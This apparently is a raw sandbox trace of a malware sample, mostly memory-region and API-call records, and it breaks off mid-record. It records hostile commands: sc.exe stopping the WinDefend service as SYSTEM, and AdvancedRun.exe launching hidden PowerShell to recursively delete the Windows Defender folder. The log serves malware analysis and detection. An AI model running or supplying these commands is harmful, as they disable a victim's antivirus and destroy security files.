entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 5540 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 5563 start_va = 0x7fefc6a0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6a3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 5564 start_va = 0x380000 end_va = 0x3c4fff monitored = 0 entry_point = 0x381064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5565 start_va = 0x380000 end_va = 0x3c4fff monitored = 0 entry_point = 0x381064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5566 start_va = 0x380000 end_va = 0x3c4fff monitored = 0 entry_point = 0x381064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5567 start_va = 0x380000 end_va = 0x3c4fff monitored = 0 entry_point = 0x381064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5568 start_va = 0x380000 end_va = 0x3c4fff monitored = 0 entry_point = 0x381064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5569 start_va = 0x7fefc3a0000 end_va = 0x7fefc3e6fff monitored = 0 entry_point = 0x7fefc3a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5570 start_va = 0x7fefcd90000 end_va = 0x7fefcda3fff monitored = 0 entry_point = 0x7fefcd910e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 5571 start_va = 0x980000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 5572 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 5573 start_va = 0x380000 end_va = 0x380fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 5574 start_va = 0x7fefdb50000 end_va = 0x7fefdbe8fff monitored = 0 entry_point = 0x7fefdb51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Thread: id = 448 os_tid = 0xd78 Thread: id = 450 os_tid = 0xde8 Thread: id = 451 os_tid = 0xde4 Thread: id = 452 os_tid = 0xd9c Thread: id = 453 os_tid = 0xdec Thread: id = 454 os_tid = 0xddc Thread: id = 468 os_tid = 0xe48 Thread: id = 470 os_tid = 0xea8 Process: id = "25" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x5a432000" os_pid = "0xdf8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0xdd0" cmd_line = "\"C:\\Windows\\System32\\sc.exe\" stop WinDefend" cur_dir = "C:\\Windows\\System32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\TrustedInstaller" [0xe], "NT AUTHORITY\\Logon Session 00000000:000678a1" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 4834 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4835 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4836 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4837 start_va = 0x110000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 4838 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4839 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4840 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4841 start_va = 0xffe60000 end_va = 0xffe6efff monitored = 1 entry_point = 0xffe61dd4 region_type = mapped_file name = "sc.exe" filename = "\\Windows\\System32\\sc.exe" (normalized: "c:\\windows\\system32\\sc.exe") Region: id = 4842 start_va = 0x7feff180000 end_va = 0x7feff180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4843 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4844 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 4845 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4846 start_va = 0x270000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 4847 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4848 start_va = 0x7fefce60000 end_va = 0x7fefcecbfff monitored = 0 entry_point = 0x7fefce62780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4849 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4850 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4851 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5015 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 5016 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5017 start_va = 0x7fefd3c0000 end_va = 0x7fefd49afff monitored = 0 entry_point = 0x7fefd3e0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5018 start_va = 0x7feff0d0000 end_va = 0x7feff16efff monitored = 0 entry_point = 0x7feff0d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5019 start_va = 0x7fefeb80000 end_va = 0x7fefeb9efff monitored = 0 entry_point = 0x7fefeb860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5020 start_va = 0x7fefd4a0000 end_va = 0x7fefd5ccfff monitored = 0 entry_point = 0x7fefd4eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5021 start_va = 0x190000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 5022 start_va = 0x370000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 5023 start_va = 0x470000 end_va = 0x52ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 5024 start_va = 0xc0000 end_va = 0xcffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sc.exe.mui" filename = "\\Windows\\System32\\en-US\\sc.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\sc.exe.mui") Thread: id = 457 os_tid = 0xd94 [0244.862] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f890 | out: lpSystemTimeAsFileTime=0x18f890*(dwLowDateTime=0x79369160, dwHighDateTime=0x1d7b458)) [0244.862] GetCurrentProcessId () returned 0xdf8 [0244.862] GetCurrentThreadId () returned 0xd94 [0244.862] GetTickCount () returned 0xb2ac77 [0244.862] QueryPerformanceCounter (in: lpPerformanceCount=0x18f898 | out: lpPerformanceCount=0x18f898*=1188583883362) returned 1 [0244.862] GetModuleHandleW (lpModuleName=0x0) returned 0xffe60000 [0244.862] __set_app_type (_Type=0x1) [0244.862] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe67228) returned 0x0 [0244.862] __wgetmainargs (in: _Argc=0xffe6b604, _Argv=0xffe6b610, _Env=0xffe6b608, _DoWildCard=0, _StartInfo=0xffe6b050 | out: _Argc=0xffe6b604, _Argv=0xffe6b610, _Env=0xffe6b608) returned 0 [0244.863] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0244.865] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0244.865] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0244.865] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0244.865] _wcsicmp (_String1="stop", _String2="query") returned 2 [0244.865] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0244.865] _wcsicmp (_String1="stop", _String2="start") returned 14 [0244.865] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0244.865] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0244.865] _wcsicmp (_String1="stop", _String2="control") returned 16 [0244.865] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0244.865] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0244.865] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2843a0 [0244.869] OpenServiceW (hSCManager=0x2843a0, lpServiceName="WinDefend", dwDesiredAccess=0x20) returned 0x2843d0 [0244.870] ControlService (in: hService=0x2843d0, dwControl=0x1, lpServiceStatus=0x18f6d0 | out: lpServiceStatus=0x18f6d0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0244.870] GetLastError () returned 0x426 [0244.870] _itow (in: _Dest=0x426, _Radix=1635944 | out: _Dest=0x426) returned="1062" [0244.870] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x426, dwLanguageId=0x0, lpBuffer=0xffe6b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The service has not been started.\r\n") returned 0x23 [0244.874] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x18f620, nSize=0x2, Arguments=0x18f650 | out: lpBuffer="뗰(") returned 0x49 [0244.958] GetFileType (hFile=0x7) returned 0x2 [0244.958] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f5d0 | out: lpMode=0x18f5d0) returned 1 [0244.958] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x28b5f0*, nNumberOfCharsToWrite=0x49, lpNumberOfCharsWritten=0x18f5c8, lpReserved=0x0 | out: lpBuffer=0x28b5f0*, lpNumberOfCharsWritten=0x18f5c8*=0x49) returned 1 [0244.959] LocalFree (hMem=0x28b5f0) returned 0x0 [0244.959] LocalFree (hMem=0x0) returned 0x0 [0244.959] CloseServiceHandle (hSCObject=0x2843d0) returned 1 [0244.959] CloseServiceHandle (hSCObject=0x2843a0) returned 1 [0245.003] exit (_Code=1062) Thread: id = 462 os_tid = 0x4f0 Process: id = "26" image_name = "advancedrun.exe" filename = "c:\\users\\keecfmwgj\\appdata\\local\\temp\\advancedrun.exe" page_root = "0xb77000" os_pid = "0xe0c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xed0" cmd_line = "\"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe\" /EXEFilename \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" /WindowState 0 /CommandLine \"rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse\" /StartDirectory \"\" /RunAs 8 /Run" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e95f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4940 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4941 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4942 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4943 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4944 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4945 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4946 start_va = 0x1a0000 end_va = 0x1a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4947 start_va = 0x400000 end_va = 0x423fff monitored = 1 entry_point = 0x40b2c6 region_type = mapped_file name = "advancedrun.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\advancedrun.exe") Region: id = 4948 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4949 start_va = 0x77040000 end_va = 0x771bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4950 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 4951 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 4952 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 4953 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 4954 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4955 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4956 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4957 start_va = 0x1b0000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4958 start_va = 0x748e0000 end_va = 0x7491efff monitored = 0 entry_point = 0x7490e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4959 start_va = 0x74880000 end_va = 0x748dbfff monitored = 0 entry_point = 0x748bf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4960 start_va = 0x74950000 end_va = 0x74957fff monitored = 0 entry_point = 0x749520f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4961 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4962 start_va = 0x75d40000 end_va = 0x75e4ffff monitored = 0 entry_point = 0x75d53283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4963 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4964 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c40000" filename = "" Region: id = 4965 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4966 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076d60000" filename = "" Region: id = 4967 start_va = 0x240000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 4968 start_va = 0x75d40000 end_va = 0x75e4ffff monitored = 0 entry_point = 0x75d53283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4969 start_va = 0x75150000 end_va = 0x75196fff monitored = 0 entry_point = 0x751574c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4970 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4971 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4972 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4973 start_va = 0x350000 end_va = 0x3b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4974 start_va = 0x74cf0000 end_va = 0x74d9bfff monitored = 0 entry_point = 0x74cfa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4975 start_va = 0x73c20000 end_va = 0x73dbdfff monitored = 0 entry_point = 0x73c4e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 4976 start_va = 0x74e80000 end_va = 0x74f0ffff monitored = 0 entry_point = 0x74e96343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4977 start_va = 0x75b00000 end_va = 0x75bfffff monitored = 0 entry_point = 0x75b1b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4978 start_va = 0x75ca0000 end_va = 0x75d3ffff monitored = 0 entry_point = 0x75cb49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 4979 start_va = 0x753d0000 end_va = 0x753e8fff monitored = 0 entry_point = 0x753d4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4980 start_va = 0x75710000 end_va = 0x757fffff monitored = 0 entry_point = 0x75720569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4981 start_va = 0x74b90000 end_va = 0x74beffff monitored = 0 entry_point = 0x74baa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4982 start_va = 0x74b80000 end_va = 0x74b8bfff monitored = 0 entry_point = 0x74b810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4983 start_va = 0x77010000 end_va = 0x77019fff monitored = 0 entry_point = 0x770136a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 4984 start_va = 0x74bf0000 end_va = 0x74c8cfff monitored = 0 entry_point = 0x74c23fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 4985 start_va = 0x74c90000 end_va = 0x74ce6fff monitored = 0 entry_point = 0x74ca9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 4986 start_va = 0x73b80000 end_va = 0x73b88fff monitored = 0 entry_point = 0x73b81220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 4987 start_va = 0x75820000 end_va = 0x7589afff monitored = 0 entry_point = 0x75821aee region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 4988 start_va = 0x75ff0000 end_va = 0x76c39fff monitored = 0 entry_point = 0x76071601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 4989 start_va = 0x75270000 end_va = 0x753cbfff monitored = 0 entry_point = 0x752bba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 4990 start_va = 0x430000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4991 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4992 start_va = 0x560000 end_va = 0x6e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 4993 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4994 start_va = 0x75c40000 end_va = 0x75c9ffff monitored = 0 entry_point = 0x75c5158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4995 start_va = 0x751a0000 end_va = 0x7526bfff monitored = 0 entry_point = 0x751a168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4996 start_va = 0x6f0000 end_va = 0x870fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 4997 start_va = 0x880000 end_va = 0x1c7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 4998 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4999 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 5000 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 5001 start_va = 0x1c0000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5002 start_va = 0x240000 end_va = 0x241fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 5003 start_va = 0x250000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 5004 start_va = 0x3c0000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 5005 start_va = 0x430000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 5006 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 5007 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 5008 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5009 start_va = 0x530000 end_va = 0x53dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 5010 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5011 start_va = 0x1b0000 end_va = 0x1bdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5012 start_va = 0x75800000 end_va = 0x75804fff monitored = 0 entry_point = 0x75801438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 5013 start_va = 0x1c80000 end_va = 0x1d7ffff monitored = 1 entry_point = 0x0 region_type 